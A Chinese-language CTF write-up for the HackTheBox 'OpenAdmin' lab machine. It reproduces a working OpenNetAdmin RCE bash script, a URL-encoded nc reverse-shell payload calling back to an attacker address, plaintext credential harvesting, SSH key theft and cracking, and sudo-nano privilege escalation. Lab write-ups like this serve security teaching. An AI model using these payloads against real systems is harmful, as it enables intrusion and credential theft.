大家好,今天给大家带来的CTF挑战靶机是来自hackthebox的“OpenAdmin”,hackthebox是一个非常不错的在线实验平台,能帮助你提升渗透测试技能和黑盒测试技能,平台上有很多靶机,从易到难,各个级别的靶机都有。本级靶机难度为简单级别,任务是找到靶机上的user.txt和root.txt。
攻略要点:
opennetadmin RCE getshell
jimmy ssh密码窃取 & joanna ssh密钥窃取
nano获得 root flag
信息收集:
nmap 扫出了 22 , 80 端口
查看80端口
用gobuster扫描目标url,并且发现了 artwork/ 和 music/
opennetadmin后台泄露 & RCE
发现 music/ 页面下的登录按钮跳转后台,用户为 guest
发现使用的是 opennetadmin 后台
使用searchsploit找到相关的RCE漏洞
[47691.sh](https://www.exploit-db.com/exploits/47691)
root@localhost:~/hackthebox_workspace/finish/Openadmin# cat pwn.sh #!/bin/bash URL="${1}" while true;do echo -n "$ "; read cmd curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1 done
Getshell:
root@localhost:~/hackthebox_workspace/finish/Openadmin# ./pwn.sh http://10.10.10.171/ona/login.php $ pwd /opt/ona/www
jimmy 密码泄露
发现这个 shell 只能用于当前路径
传 webshell ,并生成 nc 反弹 shell
http://10.10.10.171/ona/xxx.php? 0=rm%20/tmp/f%3Bmkfifo%20/tmp/f%3Bcat%20/tmp/f%7C/bin/bash%20- i%202%3E%261%7Cnc%2010.10.xx.xxx%20xxxx%20%3E/tmp/f
拿到 shell 之后枚举用户
发现了 jimmy 和 joanna 用户
在 /opt/ona/www/local/config 文件夹下面找到明文密码
www-data@openadmin:/opt/ona/www/local/config$ cat database_settings.inc.php cat database_settings.inc.php <?php $ona_contexts=array ( 'DEFAULT' => array ( 'databases' => array ( 0 => array ( 'db_type' => 'mysqli', 'db_host' => 'localhost', 'db_login' => 'ona_sys', 'db_passwd' => 'n1nj4W4rri0R!', 'db_database' => 'ona_default', 'db_debug' => false, ), ), 'description' => 'Default data context', 'context_color' => '#D3DBFF', ), ); ?>
ssh尝试使用密码登录 jimmy 和 joanna
发现密码的用户为 jimmy
Joanna 密钥泄露
jimmy 没有拿 user.txt 的权限,我们需要拿下 joanna 用户,在 /var/www/ 下发现了文件夹 internal 的所有者为 joanna
internal/main.php 会输出 joanna 的 ssh 私钥
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); }; # Open Admin Trusted # OpenAdmin $output = shell_exec('cat /home/joanna/.ssh/id_rsa'); echo "<pre>$output</pre>"; ?> <html> <h3>Don't forget your "ninja" password</h3> Click here to logout <a href="logout.php" tite = "Logout">Session </html>
查看网络服务
发现一个奇怪的服务端口为 52846
猜测为 main.php 所在的服务,并且随手访问一下,获得私钥
把私钥考到 kali 本地,ssh2john 获取哈希,再利用john 破解哈希获得密码
密码为 bloodninjas
利用私钥 ssh 登录为 joanna
得到 user.txt
sudo -l 后得到提示
用 sudo 跑 nano 编辑器可获取 root 权限
输入 ^ + R 读取 ~/root.txt